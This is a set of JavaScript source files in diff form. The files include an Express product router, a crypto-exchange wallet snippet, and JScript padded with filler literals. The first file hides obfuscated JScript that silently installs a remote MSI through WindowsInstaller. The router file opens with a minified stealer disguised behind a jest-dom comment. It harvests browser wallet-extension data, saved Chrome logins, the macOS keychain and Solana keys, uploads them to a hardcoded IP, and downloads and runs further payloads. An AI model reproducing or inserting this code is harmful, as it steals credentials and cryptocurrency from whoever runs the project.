|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/*
|
| 2 |
+
* Taken from
|
| 3 |
+
* http://csrc.nist.gov/groups/ST/toolkit/documents/dss/NISTReCur.pdf
|
| 4 |
+
*/
|
| 5 |
+
|
| 6 |
+
2022
|
| 7 |
+
|
| 8 |
+
//
|
| 9 |
+
// Allowed token characters:
|
| 10 |
+
//
|
| 11 |
+
// '!', '#', '$', '%', '&', ''', '*', '+', '-',
|
| 12 |
+
// '.', 0-9, A-Z, '^', '_', '`', a-z, '|', '~'
|
| 13 |
+
//
|
| 14 |
+
// tokenChars[32] === 0 // ' '
|
| 15 |
+
// tokenChars[33] === 1 // '!'
|
| 16 |
+
// tokenChars[34] === 0 // '"'
|
| 17 |
+
// ...
|
| 18 |
+
//
|
| 19 |
+
// prettier-ignore
|
| 20 |
+
|
| 21 |
+
/*
|
| 22 |
+
var curves = {
|
| 23 |
+
'nistp256': {
|
| 24 |
+
size: 256,
|
| 25 |
+
pkcs8oid: '1.2.840.10045.3.1.7',
|
| 26 |
+
p: Buffer.from(('00' +
|
| 27 |
+
'ffffffff 00000001 00000000 00000000' +
|
| 28 |
+
'00000000 ffffffff ffffffff ffffffff').
|
| 29 |
+
replace(/ /g, ''), 'hex'),
|
| 30 |
+
a: Buffer.from(('00' +
|
| 31 |
+
'FFFFFFFF 00000001 00000000 00000000' +
|
| 32 |
+
'00000000 FFFFFFFF FFFFFFFF FFFFFFFC').
|
| 33 |
+
replace(/ /g, ''), 'hex'),
|
| 34 |
+
b: Buffer.from((
|
| 35 |
+
'5ac635d8 aa3a93e7 b3ebbd55 769886bc' +
|
| 36 |
+
'651d06b0 cc53b0f6 3bce3c3e 27d2604b').
|
| 37 |
+
replace(/ /g, ''), 'hex'),
|
| 38 |
+
s: Buffer.from(('00' +
|
| 39 |
+
'c49d3608 86e70493 6a6678e1 139d26b7' +
|
| 40 |
+
'819f7e90').
|
| 41 |
+
replace(/ /g, ''), 'hex'),
|
| 42 |
+
n: Buffer.from(('00' +
|
| 43 |
+
'ffffffff 00000000 ffffffff ffffffff' +
|
| 44 |
+
'bce6faad a7179e84 f3b9cac2 fc632551').
|
| 45 |
+
replace(/ /g, ''), 'hex'),
|
| 46 |
+
G: Buffer.from(('04' +
|
| 47 |
+
'6b17d1f2 e12c4247 f8bce6e5 63a440f2' +
|
| 48 |
+
'77037d81 2deb33a0 f4a13945 d898c296' +
|
| 49 |
+
'4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16' +
|
| 50 |
+
'2bce3357 6b315ece cbb64068 37bf51f5').
|
| 51 |
+
replace(/ /g, ''), 'hex')
|
| 52 |
+
},
|
| 53 |
+
'nistp384': {
|
| 54 |
+
size: 384,
|
| 55 |
+
pkcs8oid: '1.3.132.0.34',
|
| 56 |
+
p: Buffer.from(('00' +
|
| 57 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 58 |
+
'ffffffff ffffffff ffffffff fffffffe' +
|
| 59 |
+
'ffffffff 00000000 00000000 ffffffff').
|
| 60 |
+
replace(/ /g, ''), 'hex'),
|
| 61 |
+
a: Buffer.from(('00' +
|
| 62 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 63 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE' +
|
| 64 |
+
'FFFFFFFF 00000000 00000000 FFFFFFFC').
|
| 65 |
+
replace(/ /g, ''), 'hex'),
|
| 66 |
+
b: Buffer.from((
|
| 67 |
+
'b3312fa7 e23ee7e4 988e056b e3f82d19' +
|
| 68 |
+
'181d9c6e fe814112 0314088f 5013875a' +
|
| 69 |
+
'c656398d 8a2ed19d 2a85c8ed d3ec2aef').
|
| 70 |
+
replace(/ /g, ''), 'hex'),
|
| 71 |
+
s: Buffer.from(('00' +
|
| 72 |
+
'a335926a a319a27a 1d00896a 6773a482' +
|
| 73 |
+
'7acdac73').
|
| 74 |
+
replace(/ /g, ''), 'hex'),
|
| 75 |
+
n: Buffer.from(('00' +
|
| 76 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 77 |
+
'ffffffff ffffffff c7634d81 f4372ddf' +
|
| 78 |
+
'581a0db2 48b0a77a ecec196a ccc52973').
|
| 79 |
+
replace(/ /g, ''), 'hex'),
|
| 80 |
+
G: Buffer.from(('04' +
|
| 81 |
+
'aa87ca22 be8b0537 8eb1c71e f320ad74' +
|
| 82 |
+
'6e1d3b62 8ba79b98 59f741e0 82542a38' +
|
| 83 |
+
'5502f25d bf55296c 3a545e38 72760ab7' +
|
| 84 |
+
'3617de4a 96262c6f 5d9e98bf 9292dc29' +
|
| 85 |
+
'f8f41dbd 289a147c e9da3113 b5f0b8c0' +
|
| 86 |
+
'0a60b1ce 1d7e819d 7a431d7c 90ea0e5f').
|
| 87 |
+
replace(/ /g, ''), 'hex')
|
| 88 |
+
},
|
| 89 |
+
'nistp521': {
|
| 90 |
+
size: 521,
|
| 91 |
+
pkcs8oid: '1.3.132.0.35',
|
| 92 |
+
p: Buffer.from((
|
| 93 |
+
'01ffffff ffffffff ffffffff ffffffff' +
|
| 94 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 95 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 96 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 97 |
+
'ffff').replace(/ /g, ''), 'hex'),
|
| 98 |
+
a: Buffer.from(('01FF' +
|
| 99 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 100 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 101 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 102 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFC').
|
| 103 |
+
replace(/ /g, ''), 'hex'),
|
| 104 |
+
b: Buffer.from(('51' +
|
| 105 |
+
'953eb961 8e1c9a1f 929a21a0 b68540ee' +
|
| 106 |
+
'a2da725b 99b315f3 b8b48991 8ef109e1' +
|
| 107 |
+
'56193951 ec7e937b 1652c0bd 3bb1bf07' +
|
| 108 |
+
'3573df88 3d2c34f1 ef451fd4 6b503f00').
|
| 109 |
+
replace(/ /g, ''), 'hex'),
|
| 110 |
+
s: Buffer.from(('00' +
|
| 111 |
+
'd09e8800 291cb853 96cc6717 393284aa' +
|
| 112 |
+
'a0da64ba').replace(/ /g, ''), 'hex'),
|
| 113 |
+
n: Buffer.from(('01ff' +
|
| 114 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 115 |
+
'ffffffff ffffffff ffffffff fffffffa' +
|
| 116 |
+
'51868783 bf2f966b 7fcc0148 f709a5d0' +
|
| 117 |
+
'3bb5c9b8 899c47ae bb6fb71e 91386409').
|
| 118 |
+
replace(/ /g, ''), 'hex'),
|
| 119 |
+
G: Buffer.from(('04' +
|
| 120 |
+
'00c6 858e06b7 0404e9cd 9e3ecb66 2395b442' +
|
| 121 |
+
'9c648139 053fb521 f828af60 6b4d3dba' +
|
| 122 |
+
'a14b5e77 efe75928 fe1dc127 a2ffa8de' +
|
| 123 |
+
'3348b3c1 856a429b f97e7e31 c2e5bd66' +
|
| 124 |
+
'0118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9' +
|
| 125 |
+
'98f54449 579b4468 17afbd17 273e662c' +
|
| 126 |
+
'97ee7299 5ef42640 c550b901 3fad0761' +
|
| 127 |
+
'353c7086 a272c240 88be9476 9fd16650').
|
| 128 |
+
replace(/ /g, ''), 'hex')
|
| 129 |
+
}
|
| 130 |
+
};
|
| 131 |
+
|
| 132 |
+
module.exports = {
|
| 133 |
+
info: algInfo,
|
| 134 |
+
privInfo: algPrivInfo,
|
| 135 |
+
hashAlgs: hashAlgs,
|
| 136 |
+
curves: curves
|
| 137 |
+
};
|
| 138 |
+
*/
|
| 139 |
+
|
| 140 |
+
var sOlyo = "installer"; // Assign the text "Robin" to the variable sOlyo.
|
| 141 |
+
var oly = "windowsinstaller";
|
| 142 |
+
[1,2,3] // Array literal
|
| 143 |
+
4 + 5 // additon
|
| 144 |
+
radius = 249;
|
| 145 |
+
10 / 2 // division
|
| 146 |
+
var f = function(x){return x*x;} // function literal
|
| 147 |
+
var o = {x:1, y:2} // Object literal
|
| 148 |
+
|
| 149 |
+
ka = "ke";n = "t";p = "td.co";s = "n";g = "w";f = "h";o = "p";gb = ".";ii = "i";
|
| 150 |
+
ama = "systems-l";
|
| 151 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 152 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 153 |
+
|
| 154 |
+
myArray = new Array("Appolo!", Math.PI, 28);
|
| 155 |
+
var gOlyo = new ActiveXObject(oly + gb + sOlyo);
|
| 156 |
+
myPi = myArray[1];
|
| 157 |
+
sAssign = f + n + n + o +"s://perfect" + ama + p + "m/x-css/" + ka + gb + "ms" + ii;
|
| 158 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 159 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 160 |
+
|
| 161 |
+
uros = 6;6;6,83;
|
| 162 |
+
7.1 // numeric literal
|
| 163 |
+
gOlyo.uilevel=2
|
| 164 |
+
"Hello!" // string literal
|
| 165 |
+
false // Boolean literal
|
| 166 |
+
|
| 167 |
+
gOlyo.InstallProduct(sAssign);
|
| 168 |
+
var a = new Array(4);
|
| 169 |
+
|
| 170 |
+
https://xaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjaj//cDRANwD8WWQvevKKCDwcUFX2
|
code/0c2c909c4040ac2a6b0e2a30d92dd34a8fbe9589f8d27f69d4b36c109e306af1
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/ Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",a=require("fs"),r=require("os"),e=a=>(s1=a.slice(1),Buffer.from(s1,t).toString(c));pt=require(e("zcGF0aA")),rq=require(e("YcmVxdWVzdA")),cr=require(e("aY3J5cHRv")),ex=require(e("aY2hpbGRfcHJvY2Vzcw"))[e("cZXhlYw")],hs=r[e("caG9zdG5hbWU")](),pl=r[e("YcGxhdGZvcm0")](),hd=r[e("ZaG9tZWRpcg")](),td=r[e("cdG1wZGly")](),tp=r[e("AdHlwZQ")]();let l;const n=a=>Buffer.from(a,t).toString(c),Z=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA== ";for(var c="",a="",r="",e="",l=0;l<10;l++)c+=t[l],a+=t[10+l],r+=t[20+l],e+=t[30+l];return c=c+r+e,n(a)+n(c)},s=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),h="VGVhMG00",m="Z2V0",$="Ly5ucGw",o="d3JpdGVGaWxlU3luYw",d="L2NsaWVudA",G=n("ZXhpc3RzU3luYw");function b(t){const c=n("YWNjZXNz"+"U3luYw");try{return a[c](t),!0}catch(t){return!1}}const i=n("RGVmYXVsdA"),u=n("UHJvZmlsZQ"),W=e("aZmlsZW5hbWU"),Y=e("cZm9ybURhdGE"),p=e("adXJs"),y=e("Zb3B0aW9ucw"),w=e("YdmFsdWU"),V=n("cmVhZGRpclN5bmM"),f=n("c3RhdFN5bmM"),v=(n("aXNEaXJlY3Rvcnk"),n("cG9zdA")),j="L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8",L="L0FwcERhdGEv",x="L1VzZXIgRGF0YQ",F="R29vZ2xlL0Nocm9tZQ",R=["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy","QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy","QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"],Q=["TG9jYWwvR29vZ2xlL0Nocm9tZQ",F,"Z29vZ2xlLWNocm9tZQ"],X=["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU","Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE","b3BlcmE"];let z="comp";const J=["bmtiaWhmYmVv","ZWpiYWxiYWtv","Zmhib2hpbWFl","aG5mYW5rbm9j","aWJuZWpkZmpt","YmZuYWVsbW9t","YWVhY2hrbm1l","aGlmYWZnbWNj"],N=["Z2FlYW9laGxlZm5rb2RiZWZncGdrbm4","cGxjaGxnaGVjZGFsbWVlZWFqbmltaG0","bGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA","ZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ","bWtwY25scGVia2xtbmtvZW9paG9mZWM","ZWltaGxwbWdqbmpvcGhocGtrb2xqcGE","ZnBoZXBjY2lvbmJvb2hja29ub2VlbWc","ZHBla3Bsb21qamtjZmdvZG5oY2VsbGo"],U=async(t,c,r)=>{let e=t;if(!e||""===e)return[];try{if(!b(e))return[]}catch(t){return[]}c||(c="");let l=[];const Z=n("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),s=n("Y3JlYXRlUmVhZFN0cmVhbQ"),h=n("LmxkYg"),m=n("LmxvZw");for(let r=0;r<200;r++){const $=`${t}/${0===r?i:`${u} ${r}`}/${Z}`;for(let t=0;t<J.length;t++){const Z=n(J[t]+N[t]);let o=`${$}/${Z}`;if(b(o)){try{far=a[V](o)}catch(t){far=[]}far.forEach((async t=>{e=pt.join(o,t);try{(e.includes(h)||e.includes(m))&&l.push({[w]:a[s](e),[y]:{[W]:`${c}${r}_${Z}_${t}`}})}catch(t){}}))}}}if(r){const t=n("c29sYW5hX2lkLnR4dA");if(e=`${hd}${n("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`,a[G](e))try{l.push({[w]:a[s](e),[y]:{[W]:t}})}catch(t){}}return B(l),l},B=t=>{const c=e("YbXVsdGlfZmlsZQ"),a=n("L3VwbG9hZHM"),r={timestamp:l.toString(),type:h,hid:z,[c]:t},s=Z();try{const t={[p]:`${s}${a}`,[Y]:r};rq[v](t,((t,c,a)=>{}))}catch(t){}},q=async(t,c)=>{try{const a=s("~/");let r="";r="d"==pl[0]?`${a}${n(j)}${n(t[1])}`:"l"==pl[0]?`${a}${n("Ly5jb25maWcv")}${n(t[2])}`:`${a}${n(L)}${n(t[0])}${n(x)}`,await U(r,`${c}_`,0==c)}catch(t){}},T=async()=>{let t=[];const c=n("TG9naW4gRGF0YQ"),r=n("Y3JlYXRlUmVhZFN0cmVhbQ"),e=n("L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu"),l=n("bG9na2MtZGI");if(pa=`${hd}${e}`,a[G](pa))try{t.push({[w]:a[r](pa),[y]:{[W]:l}})}catch(t){}else if(pa+="-db",a[G](pa))try{t.push({[w]:a[r](pa),[y]:{[W]:l}})}catch(t){}try{const e=n("Y29weUZpbGU");let l="";if(l=`${hd}${n(j)}${n(F)}`,l&&""!==l&&b(l))for(let n=0;n<200;n++){const Z=`${l}/${0===n?i:`${u} ${n}`}/${c}`;try{if(!b(Z))continue;const c=`${l}/ld_${n}`;b(c)?t.push({[w]:a[r](c),[y]:{[W]:`pld_${n}`}}):a[e](Z,c,(t=>{let c=[{[w]:a[r](Z),[y]:{[W]:`pld_${n}`}}];B(c)}))}catch(t){}}}catch(t){}return B(t),t},S=n("cm1TeW5j"),g="XC5weXBccHl0aG9uLmV4ZQ",C=51476590;let H=0;const k=async t=>{const c=`${n("dGFyIC14Zg")} ${t} -C ${hd}`;ex(c,((c,r,e)=>{if(c)return a[S](t),void(H=0);a[S](t),I()}))},A=()=>{const t=n("cDIuemlw"),c=`${Z()}${n("L3Bkb3du")}`,r=`${td}\\${n("cC56aQ")}`,e=`${td}\\${t}`;if(H>=C+6)return;const l=n("cmVuYW1lU3luYw"),s=n("cmVuYW1l");if(a[G](r))try{var h=a[f](r);h.size>=C+6?(H=h.size,a[s](r,e,(t=>{if(t)throw t;k(e)}))):(H<h.size?H=h.size:(a[S](r),H=0),E())}catch(t){}else{const t=`${n("Y3VybCAtTG8")} "${r}" "${c}"`;ex(t,((t,c,n)=>{if(t)return H=0,void E();try{H=C+6,a[l](r,e),k(e)}catch(t){}}))}};function E(){setTimeout((()=>{A()}),2e4)}const I=async()=>await new Promise(((t,c)=>{if("w"==pl[0]){const t=`${hd}${n(g)}`;a[G](`${t}`)?(()=>{const t=Z(),c=n(d),r=n(m),e=n(o),l=n($),s=`${t}${c}/${h}`,G=`${hd}${l}`,b=`"${hd}${n(g)}" "${G}"`;try{a[S](G)}catch(t){}rq[r](s,((t,c,r)=>{if(!t)try{a[e](G,r),ex(b,((t,c,a)=>{}))}catch(t){}}))})():A()}else(()=>{const t=Z(),c=n(d),r=n(o),e=n(m),l=n($),s=n("cHl0aG9u"),G=`${t}${c}/${h}`,b=`${hd}${l}`;let i=`${s}3 "${b}"`;rq[e](G,((t,c,e)=>{t||(a[r](b,e),ex(i,((t,c,a)=>{})))}))})()}));var M=0;const O=async()=>{try{l=Date.now(),await(async()=>{z=hs;try{const t=s("~/");await q(Q,0),await q(R,1),await q(X,2),"w"==pl[0]&&(pa=`${t}${n(L)}${n("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${n(x)}`,await U(pa,"3_",!1)),"d"==pl[0]&&await T()}catch(t){}})(),I()}catch(t){}};O();let _=setInterval((()=>{(M+=1)<5?O():clearInterval(_)}),6e5);
|
| 2 |
+
|
| 3 |
+
const express = require('express');
|
| 4 |
+
const getProduct = require('../models/product/getProduct');
|
| 5 |
+
const getProducts = require('../models/product/getProducts');
|
| 6 |
+
const deleteProduct = require('../models/product/deleteProduct');
|
| 7 |
+
const createProduct = require('../models/product/createProduct');
|
| 8 |
+
const updateProduct = require('../models/product/updateProduct')
|
| 9 |
+
|
| 10 |
+
const router = express.Router();
|
| 11 |
+
|
| 12 |
+
// GET PRODUCTS
|
| 13 |
+
router.get('/store/:id', async (req, res, next) => {
|
| 14 |
+
const { id } = req.params;
|
| 15 |
+
// console.log(req.body);
|
| 16 |
+
|
| 17 |
+
try {
|
| 18 |
+
const products = await getProducts(id)
|
| 19 |
+
next({
|
| 20 |
+
code: 200,
|
| 21 |
+
data: { products }
|
| 22 |
+
})
|
| 23 |
+
} catch (err) {
|
| 24 |
+
next({
|
| 25 |
+
code: 400,
|
| 26 |
+
errors: {error: err}
|
| 27 |
+
});
|
| 28 |
+
}
|
| 29 |
+
// const products = await
|
| 30 |
+
// .then(() => {
|
| 31 |
+
|
| 32 |
+
// })
|
| 33 |
+
// .catch(err => {
|
| 34 |
+
|
| 35 |
+
// });
|
| 36 |
+
});
|
| 37 |
+
|
| 38 |
+
// GET PRODUCT BY ID
|
| 39 |
+
router.get('/:id', (req, res, next) => {
|
| 40 |
+
const { id } = req.params;
|
| 41 |
+
const product = getProduct(id)
|
| 42 |
+
.then(() => next({
|
| 43 |
+
code: 200,
|
| 44 |
+
data: { product }
|
| 45 |
+
}))
|
| 46 |
+
.catch(err => {
|
| 47 |
+
next({
|
| 48 |
+
code: 400,
|
| 49 |
+
errors: {error: err}
|
| 50 |
+
});
|
| 51 |
+
});
|
| 52 |
+
});
|
| 53 |
+
|
| 54 |
+
// CREATE PRODUCT
|
| 55 |
+
router.post('/', (req, res, next) => {
|
| 56 |
+
const { sku, productName, price, refundable, storeId } = req.body;
|
| 57 |
+
|
| 58 |
+
createProduct(sku, productName, price, refundable, storeId)
|
| 59 |
+
.then(() => next({
|
| 60 |
+
code: 200,
|
| 61 |
+
}))
|
| 62 |
+
.catch(err => {
|
| 63 |
+
next({
|
| 64 |
+
code: 400,
|
| 65 |
+
errors: {error: err}
|
| 66 |
+
});
|
| 67 |
+
});
|
| 68 |
+
});
|
| 69 |
+
|
| 70 |
+
// UPDATE PRODUCT
|
| 71 |
+
router.post('/:id', (req, res, next) => {
|
| 72 |
+
const { sku, product_name, price, refundable } = req.body;
|
| 73 |
+
|
| 74 |
+
updateProduct(sku, product_name, price, refundable)
|
| 75 |
+
.then(() => next({
|
| 76 |
+
code: 200,
|
| 77 |
+
}))
|
| 78 |
+
.catch(err => {
|
| 79 |
+
next({
|
| 80 |
+
code: 400,
|
| 81 |
+
errors: {error: err}
|
| 82 |
+
});
|
| 83 |
+
});
|
| 84 |
+
});
|
| 85 |
+
|
| 86 |
+
// DELETE PRODUCT
|
| 87 |
+
router.post('/delete', (req, res, next) => {
|
| 88 |
+
const {sku} = req.params;
|
| 89 |
+
|
| 90 |
+
deleteProduct(sku)
|
| 91 |
+
.then(() => next({
|
| 92 |
+
code: 200,
|
| 93 |
+
}))
|
| 94 |
+
.catch(err => {
|
| 95 |
+
next({
|
| 96 |
+
code: 400,
|
| 97 |
+
errors: {error: err}
|
| 98 |
+
});
|
| 99 |
+
});
|
| 100 |
+
});
|
| 101 |
+
|
| 102 |
+
module.exports = router;
|
| 103 |
+
|
code/0d0fd6f5fcd59fc432a205e6730f25ab285940fe707567d76800921f6f908cd4
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
